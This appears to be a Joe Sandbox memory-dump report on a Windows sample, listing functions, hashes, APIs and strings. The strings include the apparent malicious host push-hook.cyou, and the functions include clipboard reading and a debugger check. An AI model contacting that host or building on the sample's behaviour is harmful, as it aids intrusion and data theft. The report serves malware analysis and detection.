Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: =3$C$E!q#$E!q#$Lgfe$\$IK
API String ID: 65563702-4011188741
Opcode ID: 74e590896f5bfba1a4c45a56f71c19cb345f99e738f7e67b9f47388845338ca8
Instruction ID: 9251e3c66033709fe23b4e1ee742b75be419a17e7591596e0cc195c23d498240
Opcode Fuzzy Hash: 74e590896f5bfba1a4c45a56f71c19cb345f99e738f7e67b9f47388845338ca8
Instruction Fuzzy Hash: 542233B2908301ABE324CF20CC41B5BBBA5EF99714F148A1DF4959B3C1D7B8D905CB9A

Function 0040CF05 Relevance: 18.1, Strings: 14, Instructions: 574
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

97D231997013CEACD7CBBD6DF28D3732, xrefs: 0040CF70, 0040D3C0
7W"i, xrefs: 0040D5DC
+S7U, xrefs: 0040D5D1
c]e, xrefs: 0040D5FD
gy, xrefs: 0040D608
;[*], xrefs: 0040D5BB
N3F5, xrefs: 0040D579
(), xrefs: 0040D716
push-hook.cyou, xrefs: 0040D341, 0040D771
0C%E, xrefs: 0040D5A5
,_"Q, xrefs: 0040D5C6
y?O1, xrefs: 0040D32D, 0040D33F
S7HI, xrefs: 0040D584
<KuM, xrefs: 0040D58F

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID: ()$+S7U$,_"Q$0C%E$7W"i$97D231997013CEACD7CBBD6DF28D3732$;[*]$<KuM$N3F5$S7HI$push-hook.cyou$y?O1$c]e$gy
API String ID: 0-942567934
Opcode ID: ddd47fdf7f98754443faa8adf7d919d97b52bdec52d9a692a706503d3d5cf8a3
Instruction ID: 95352b80e5630bce15aed1fbf35dc3a728fde8e5f260dc95f2cafd28bad86ac5
Opcode Fuzzy Hash: ddd47fdf7f98754443faa8adf7d919d97b52bdec52d9a692a706503d3d5cf8a3
Instruction Fuzzy Hash: E5121FB19483C18ED3348F65C495BEFBBE1EBD2304F18896DC4DA6B256C774090ACB96

Function 004098F0 Relevance: 11.7, Strings: 9, Instructions: 428
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

DG, xrefs: 00409D35
Ohs,, xrefs: 00409B2A
97D231997013CEACD7CBBD6DF28D3732, xrefs: 004099C1
fhnf, xrefs: 004099E0, 004099B7, 00409BE4
xy, xrefs: 00409E03
fhnf, xrefs: 00409C10
su, xrefs: 00409CCD
chs,, xrefs: 00409B51
{}, xrefs: 00409CBD

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID: 97D231997013CEACD7CBBD6DF28D3732$DG$Ohs,$chs,$fhnf$fhnf$xy$su${}
API String ID: 0-1022774131
Opcode ID: 3b2e2c17e06f68a588a8714d09a9d05c1357827c6804f6b0a1eae72e70e9dce4
Instruction ID: c4e227adad71c4174b748ad9c04c569e7477bd6730e0a3dc5e2a244df201f6bc
Opcode Fuzzy Hash: 3b2e2c17e06f68a588a8714d09a9d05c1357827c6804f6b0a1eae72e70e9dce4
Instruction Fuzzy Hash: 9CE14A72A483508BD328CF35C85176BBBE2ABD1314F198A3DE5E59B395D738C805CB86

Function 0040E35B Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040E370

Strings

push-hook.cyou, xrefs: 0040E752
U\, xrefs: 0040E5AA
Lk, xrefs: 0040E749, 0040E750
Zb, xrefs: 0040E59F
r, xrefs: 0040E385

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: Uninitialize
String ID: Lk$U\$Zb$push-hook.cyou$r
API String ID: 3861434553-2470801865
Opcode ID: 43aa4fe2daabb56ee0c0189276c116c532aecf1b25a6e7641c8b17845f3c9312
Instruction ID: ef410df6409a163283a486a480043fce37e142e129954a82ac19f0ffe715bc95
Opcode Fuzzy Hash: 43aa4fe2daabb56ee0c0189276c116c532aecf1b25a6e7641c8b17845f3c9312
Instruction Fuzzy Hash: C7A1BEB010C3D18AD7758F26C8947EFBBE1AB93308F188DADD0E95B282D73941058B5B

Function 004089A0 Relevance: 7.7, APIs: 5, Instructions: 242
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004089C2
GetCurrentThreadId.KERNEL32 ref: 004089D5
GetCurrentProcessId.KERNEL32 ref: 004089DD
GetForegroundWindow.USER32 ref: 00408BD2
ExitProcess.KERNEL32 ref: 00408CB5

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 448402f8edc22f0c169554d7cdd299670e5b3afa010ca0547ce2b46543dcc2db
Instruction ID: 8cf386439752addaba4cdd5a2328998a91882dbaf7756ccb1846ca93dac1a1d9
Opcode Fuzzy Hash: 448402f8edc22f0c169554d7cdd299670e5b3afa010ca0547ce2b46543dcc2db
Instruction Fuzzy Hash: CB710677B547044BD708DFBADD8235AFAD2ABC8714F09D43EA885D7390EA789C044689

Function 0043DF70 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043BA46,?,00000010,00000005,00000000,?,00000000,?,?,00419158,?,?,004119B4), ref: 0043DF9E

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0040E0D8 Relevance: 1.4, Strings: 1, Instructions: 190COMMON

Download Yara Rule

Strings

efg`, xrefs: 0040E100

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: InitializeThunk
String ID: efg`
API String ID: 2994545307-115929991
Opcode ID: 1c238176e3fed0a5ff6a15ad099c0f9c6ea10de71e79a94e61b86f65c1e505ed
Instruction ID: ecaf0a4083f3a71b7ac416040caddeb43fa24dcaae48abcd9bbbcdc9a5ac4079
Opcode Fuzzy Hash: 1c238176e3fed0a5ff6a15ad099c0f9c6ea10de71e79a94e61b86f65c1e505ed
Instruction Fuzzy Hash: BD513876A047505BD720EB229C827AF7252AFD5308F15483DE98977382DF386A1282DF

Function 0043B8E0 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e155f24c94506abb776baca9464a271ad98091412da28c88d531229bcc753791
Instruction ID: bccc040de558ef894b8f721561d0a7d571ef22008b7c5a710cb7038942829d4d
Opcode Fuzzy Hash: e155f24c94506abb776baca9464a271ad98091412da28c88d531229bcc753791
Instruction Fuzzy Hash: E7514976A087108BD720AF259C4072BB7A2EFDA720F29E63DDAD567351D3359C0287C9

Function 0043DED0 Relevance: 1.6, APIs: 1, Instructions: 62
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,00000000,00000000,00000001,?,00000000,00000000,0040B5FE,00000000,00000001), ref: 0043DF36

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 95acdc8339484e663681bcb12902f04beb88cdf387219ed12db2102eace9dda6
Instruction ID: cb6f0903ee34e7aaa3abfaba356f2a2918ae25efb13eb98352585469c15522a7
Opcode Fuzzy Hash: 95acdc8339484e663681bcb12902f04beb88cdf387219ed12db2102eace9dda6
Instruction Fuzzy Hash: 1F017B76D082009BD3181B21ACA2AAB7B68DFDB354F16143DE24387640C62C4807C6EA

Function 0043B7E0 Relevance: 1.5, APIs: 1, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0043B84E

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e673116cc8e36a6bb49cbabe2cdf620d6a173cef19be1431a2d1bf83e7de0cdf
Instruction ID: 55a697b3b7f38dfeef0d40990279f07795ac9d6f77ef781571bf68e037f10c61
Opcode Fuzzy Hash: e673116cc8e36a6bb49cbabe2cdf620d6a173cef19be1431a2d1bf83e7de0cdf
Instruction Fuzzy Hash: AD017633A457080BC300AE7CDC9465ABB96EFD9224F2A063DE5D4873D1DA31990A8295

Function 0040CE80 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CE93

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d70732dda82fda017582911898bf26c0b6c4b0c26e2d0fdaf457f5c9be9936b5
Instruction ID: 65ec1658cf0ed6a28564d450adfe5aa36fc4203d467fc7b256d59c78d50b7f16
Opcode Fuzzy Hash: d70732dda82fda017582911898bf26c0b6c4b0c26e2d0fdaf457f5c9be9936b5
Instruction Fuzzy Hash: D8D0A7346502447BE254F71CEC07F17366D8743726F44423AF662CA1D2D951A910C56A

Function 0040CEB3 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CEC5

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 06a3d9f6b122735c26e726116e1d41753c139dc615071a83ad1d0583a22b387d
Instruction ID: cf94df1d760ae56c019c2728adca80f508d348269e2314f8c78ae93ac2cc27ae
Opcode Fuzzy Hash: 06a3d9f6b122735c26e726116e1d41753c139dc615071a83ad1d0583a22b387d
Instruction Fuzzy Hash: C2D0C9343D8351BBFAA48B08AC13F5032559707F2AF310228B322FE6E1C9E07141860D

Non-executed Functions

Function 00434470 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 111clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00434480
GetWindowLongW.USER32 ref: 004344A5
GetClipboardData.USER32 ref: 004344B5
GlobalLock.KERNEL32 ref: 004344D4
GlobalUnlock.KERNEL32 ref: 004345D2
CloseClipboard.USER32 ref: 004345DB

Strings

G, xrefs: 00434543
<, xrefs: 0043454D
F, xrefs: 00434539
], xrefs: 00434566
c, xrefs: 00434525

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: <$F$G$]$c
API String ID: 2832541153-1818401840
Opcode ID: 38890e0a40a784a9e7e980c3d43740566ea94a1ec1f8cb9bac60998e76c15ca0
Instruction ID: 7e34b2cb0d45b88925ede279eb1f96e1ea01dda7cf2764298d89eb53cb338a03
Opcode Fuzzy Hash: 38890e0a40a784a9e7e980c3d43740566ea94a1ec1f8cb9bac60998e76c15ca0
Instruction Fuzzy Hash: DC41B07180C7819FD300AF38948835EBFE0AB96324F045E2EE5D9863D2C6799549C797

Function 000BA464 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000BA470
IsDebuggerPresent.KERNEL32 ref: 000BA53C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 000BA55C
UnhandledExceptionFilter.KERNEL32(?), ref: 000BA566

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 701aef890f380427478c142f70fcf8dd48a9ae7cc6a2cfb2897b7bac9242a568
Instruction ID: f855f873936c48a0a8376015fa9fe22405f3e5455c827eebb724938ce03385be
Opcode Fuzzy Hash: 701aef890f380427478c142f70fcf8dd48a9ae7cc6a2cfb2897b7bac9242a568
Instruction Fuzzy Hash: 1B311875D0121C9BDB20DFA4D989BCDBBF8AF08304F1040AAE50CAB251EB759B85CF45

Function 00420870 Relevance: 5.9, Strings: 4, Instructions: 861COMMON

Download Yara Rule

Strings

BBSH, xrefs: 00420C90
+2/?, xrefs: 00420C19
=79, xrefs: 00420C2E
GZE^, xrefs: 00420C7C

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID: +2/?$=79$BBSH$GZE^
API String ID: 0-3392023846
Opcode ID: 4a9b9554aeccc7118d7c71ecac64a319dc115968925317a1cb91039d54e804cb
Instruction ID: c1f6e68bd240d7d39793b4bc48398cba869a69635bf852959f2adde139d26bb4
Opcode Fuzzy Hash: 4a9b9554aeccc7118d7c71ecac64a319dc115968925317a1cb91039d54e804cb
Instruction Fuzzy Hash: E8520170604B518FC735CF29C890727BBE2BF56314F548A6ED4E68BBA2C739A406CB54

Function 0040AD00 Relevance: 5.4, Strings: 4, Instructions: 424COMMON

Download Yara Rule

Strings

@A, xrefs: 0040AEE0
svfZ, xrefs: 0040AD62
lPLN, xrefs: 0040AD12
IK, xrefs: 0040ADA1

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID: @A$lPLN$svfZ$IK
API String ID: 0-1806543684
Opcode ID: 82b8c9b0b0d0b0e388dee64b631462bfb0939d2e875c8b5a40fecc7ac5658aba
Instruction ID: bec2a7d6163232522d4dd9ce5ef8f9438e202c53104cbe0a23bc38ae9935645b
Opcode Fuzzy Hash: 82b8c9b0b0d0b0e388dee64b631462bfb0939d2e875c8b5a40fecc7ac5658aba
Instruction Fuzzy Hash: AEC1187164C3848BD3148E6584A136FBBE2EBC2740F18C93DE4E55B381D7798C0A9B8A

Function 00425E90 Relevance: 5.3, Strings: 4, Instructions: 295COMMON

Download Yara Rule

Strings

KP, xrefs: 00425EEA
@J, xrefs: 00425EF1
raB, xrefs: 00426160
VD, xrefs: 00425EE3

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID: @J$KP$VD$raB
API String ID: 0-1134722806
Opcode ID: 228a0c7c24de460051bea7ad6d1c9bc5878c86792c51d749f83766299ae7dd4a
Instruction ID: db9214028bf4580cd1c873f3a34e9259cba1abe3a371962080498dafbcf198cf
Opcode Fuzzy Hash: 228a0c7c24de460051bea7ad6d1c9bc5878c86792c51d749f83766299ae7dd4a
Instruction Fuzzy Hash: 6A919676704B01AFE720CF64DC81BABBBB1FB82304F54452DE5959B781C378A816CB96

Function 0040C02B Relevance: 3.9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

Strings

PQ, xrefs: 0040C1A1
IG, xrefs: 0040C171
A_, xrefs: 0040C181

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID: PQ$A_$IG
API String ID: 0-2179527320
Opcode ID: 87f178b092da160a7b0e03a4e1fdad8c491404ee0c8813f4c1ba4b67aab2772a
Instruction ID: ef60202bf7eced3403686b2951891c2fb2126a04afed55a681abd0c637390f11
Opcode Fuzzy Hash: 87f178b092da160a7b0e03a4e1fdad8c491404ee0c8813f4c1ba4b67aab2772a
Instruction Fuzzy Hash: 9A41BDB440C341CBC704CF21D89266BB7F1FF96758F249A2DE0C19B692D7388546CB4A

Function 0043C040 Relevance: 3.1, Strings: 2, Instructions: 624COMMON

Download Yara Rule

Strings

, xrefs: 0043C167, 0043C17A
f, xrefs: 0043C271

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: InitializeThunk
String ID: f$
API String ID: 2994545307-508322865
Opcode ID: 2029a2ef19b17bb19bd05767a51e3f201d60a351b6ba135d9f1406ea0ad4d3a3
Instruction ID: d6718dec7c24f7d12ea8c4c9f84381fa8efdffbfccbdfe4ccf543c4645d0ac99
Opcode Fuzzy Hash: 2029a2ef19b17bb19bd05767a51e3f201d60a351b6ba135d9f1406ea0ad4d3a3
Instruction Fuzzy Hash: B31206746083419FD714CF28C8D0A2BBBE1EBC9328F149A6EE59597392C335DC42CB5A

Function 0040E970 Relevance: 2.6, Strings: 2, Instructions: 106COMMON

Download Yara Rule

Strings

efg`, xrefs: 0040E8E0
efg`, xrefs: 0040E990

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID: efg`$efg`
API String ID: 0-3010568471
Opcode ID: 352b08fbeaecad47c87ebdc77db5c47733c3dd721402161c964e13d0f6bc609a
Instruction ID: 0e5240c73f145a77d08930e0c315551f0ba4186630a5d0e5ad9076503220d70f
Opcode Fuzzy Hash: 352b08fbeaecad47c87ebdc77db5c47733c3dd721402161c964e13d0f6bc609a
Instruction Fuzzy Hash: 4631D232A183118BD328DF62C69165FB392ABE4304F1A483ED9C637291CE349D06C3DA

Function 00428CB0 Relevance: 1.7, Strings: 1, Instructions: 490COMMON

Download Yara Rule

Strings

st@, xrefs: 004291A4, 004291E4, 00429206, 0042920A

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID: st@
API String ID: 0-3741395493
Opcode ID: 7fb3fbb3ca2ac507b0747a3a3d3554258d5ace5a288527db04dd042f0f60e3c9
Instruction ID: fd81b379ff4992bf613f79005a27ede380d2d1e31e4daf91d48ccd6d522b57e6
Opcode Fuzzy Hash: 7fb3fbb3ca2ac507b0747a3a3d3554258d5ace5a288527db04dd042f0f60e3c9
Instruction Fuzzy Hash: 9AF139B550C3918FD3048F24D49136BBBE1AF96308F18887EE5C587382D779D90ACB9A

Function 00440F60 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00440FBA

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: InitializeThunk
String ID: _^]\
API String ID: 2994545307-3116432788
Opcode ID: 6d31a6132db982790f1bde5139b1100403c59add5166155f086b98d47ca5c3dc
Instruction ID: 91144feaa9fc6f6c9e4b926c482b4b0bc879a10df7574644f90e1e620fd44459
Opcode Fuzzy Hash: 6d31a6132db982790f1bde5139b1100403c59add5166155f086b98d47ca5c3dc
Instruction Fuzzy Hash: 8C81D0346083418BE718DF18D490A2BB7F1FF99710F05856DE9859B364E734EC91CB8A

Function 0043BCE0 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

5|iL, xrefs: 0043BED0

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID: InitializeThunk
String ID: 5|iL
API String ID: 2994545307-1880071150
Opcode ID: 15748e0e8b40cced74bc07917236e402747521d5de867efe9ea67fe5f28c6c5c
Instruction ID: 802ce28fd04fc2f5bd729f7f4bd0fc546bf032d51cf96316bbb3843ff7b699f8
Opcode Fuzzy Hash: 15748e0e8b40cced74bc07917236e402747521d5de867efe9ea67fe5f28c6c5c
Instruction Fuzzy Hash: AB71FA36B047108BC7149F2C8C80767B7A6EBC9324F15A66EEAA4DB365C775DC028BC5

Function 0040EA38 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

D, xrefs: 0040EC76

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: b2ed4e45026cbbbd55ed16fe12c951ea5c2f741830c1b1cd59a57fb95d9f28d6
Instruction ID: b768361b178031b247dea6d1c575d4c8eb830ee5863a17f0432992a31c0fd595
Opcode Fuzzy Hash: b2ed4e45026cbbbd55ed16fe12c951ea5c2f741830c1b1cd59a57fb95d9f28d6
Instruction Fuzzy Hash: 145100B05493809AE720CF16C86175BBBF1FB92744F20981CE6D51B394D7B99849CF87

Function 0043F8D0 Relevance: .8, Instructions: 813COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b530ae30669dfc10addbe003a4c6b76f2eb95279c2c9ee58aff2161a7d1c7b54
Instruction ID: d0b954aed4f796411785180baa8ced4f0e63ee4f94f244d62a8f27c5611ddeae
Opcode Fuzzy Hash: b530ae30669dfc10addbe003a4c6b76f2eb95279c2c9ee58aff2161a7d1c7b54
Instruction Fuzzy Hash: 4042F236E44215CFDB08CF68D8916AEB7F2FB8E310F1A857DC946A7391C6389915CB84

Function 004077D0 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9e56e85d3793a0f4e761ff8f8362607d8bf849bd197acd1c0af18c6b7dbfe6d
Instruction ID: d50be91011134d3f54a3e2db29f698b36bda3f8b9bbbc03dcf1bb639a28d40f2
Opcode Fuzzy Hash: a9e56e85d3793a0f4e761ff8f8362607d8bf849bd197acd1c0af18c6b7dbfe6d
Instruction Fuzzy Hash: 4542AF31A0C3118BC725DF28E88066BB3E2BFD4314F25893ED995A7385D739A855CB87

Function 00405C90 Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21a1d6e3d5ba60b3bd1d97c05962dbaf1adc3ce7802fd18f61ea84a3f4fb9068
Instruction ID: b1d29b5d4b1c35b0e31dc0ce13bb5c519f35e0eb22e22dceb78cb20d493a081f
Opcode Fuzzy Hash: 21a1d6e3d5ba60b3bd1d97c05962dbaf1adc3ce7802fd18f61ea84a3f4fb9068
Instruction Fuzzy Hash: 56F1AC712087418FC724CF29C881A2BFBE2FF95304F44492EE4D697791E639E944CB9A

Function 0040BC9D Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0cd06d0c460137d603e80f6f3d8983a298fc10b1a175a93c8f847950acd8102
Instruction ID: c0129cb8722ff713d90eb3b65e812c21d2aeb054e04a62e4d84559ed6a3f55ec
Opcode Fuzzy Hash: f0cd06d0c460137d603e80f6f3d8983a298fc10b1a175a93c8f847950acd8102
Instruction Fuzzy Hash: 89F082B5A183815BD7189B24D89563FB7A1EB87614F10552DE2C2D2292DB25D8068A0D

Function 0043B860 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2026698409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e37c34810d76ac32ed1e3c693d6fe2006ff27c0c8d8d7da8e10277fe1322ecdb
Instruction ID: 34fde4c13fcfd63171c7d53dbec0e996951c7845071132db72e9b575714ea7da
Opcode Fuzzy Hash: e37c34810d76ac32ed1e3c693d6fe2006ff27c0c8d8d7da8e10277fe1322ecdb
Instruction Fuzzy Hash: 90B01254B142087F0064AE0E8C45D7BF7FED2CB650F107018B408A3314C650EC0482FD

Function 000B9CC2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 000B9CD6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 000B9CE4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 000B9CF5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 000B9D06
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 000B9D17
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 000B9D28
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 000B9D39
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 000B9D4A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 000B9D5B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 000B9D6C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 000B9D7D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 000B9D8E
